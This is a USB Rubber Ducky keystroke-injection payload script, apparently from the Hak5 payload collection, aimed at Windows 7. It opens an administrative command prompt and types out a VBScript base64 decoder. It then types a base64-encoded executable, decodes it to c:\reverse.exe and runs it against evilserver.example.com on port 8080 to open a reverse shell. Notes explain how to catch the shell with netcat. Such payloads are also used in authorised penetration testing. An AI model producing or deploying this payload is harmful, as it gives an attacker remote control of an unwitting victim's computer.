Author: Darren Kitchen with mad props to IllWill dabermania.blogspot.co.il/2011/04/copying-executable-from-teensy-using.html
Duckencoder: 1.0
Target: Windows 7
Description: Opens administrative CMD prompt, creates decoder.vbs containing code to convert base64 encoded ascii to binary, creates text file including base64 ascii of binary file to create reverse shell. converts second file to exe with first file. Executes with host and port parameters. Props to go illwill for this payload. See dabermania.blogspot.co.il/2011/04/copying-executable-from-teensy-using.html
ESCAPE CONTROL ESCAPE DELAY 400 STRING cmd DELAY 400 MENU DELAY 400 STRING a DELAY 600 LEFTARROW ENTER DELAY 400 STRING copy con c:\decoder.vbs ENTER STRING Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0) STRING :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS = STRING CreateObject("Scripting.FileSystemObject"): ENTER STRING set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded = STRING objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function STRING decodeBase64(base64): ENTER STRING dim DM, EL:Set DM = CreateObject("Microsoft.XMLDOM"):Set EL = DM.createElement("tmp"): STRING EL.DataType = "bin.base64":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub STRING writeBytes(file, bytes):Dim binaryStream: ENTER STRING Set binaryStream = CreateObject("ADODB.Stream"):binaryStream.Type = 1: STRING binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub ENTER CTRL z ENTER STRING copy con c:\reverse.txt ENTER STRING TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA ENTER STRING AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA ENTER STRING AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA ENTER STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ENTER STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS ENTER STRING 0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA ENTER STRING AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2 ENTER STRING gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A ENTER STRING AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA ENTER STRING WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA ENTER STRING MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq ENTER STRING kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF ENTER STRING EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv ENTER STRING KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp ENTER STRING AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm ENTER STRING MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A ENTER STRING VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s ENTER STRING hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9 ENTER STRING gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp ENTER STRING bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY ENTER STRING LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B ENTER STRING /7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk ENTER STRING SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA ENTER STRING AAxAAADpdL7//wAAAAIAAAAMQAAA ENTER CTRL z ENTER STRING cscript c:\decoder.vbs c:\reverse.txt c:\reverse.exe ENTER STRING c:\reverse.exe evilserver.example.com 8080 ENTER STRING exit ENTER
notes: Receive reverse shell with netcat. For example:
nc -l 8080
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---reverse-shell
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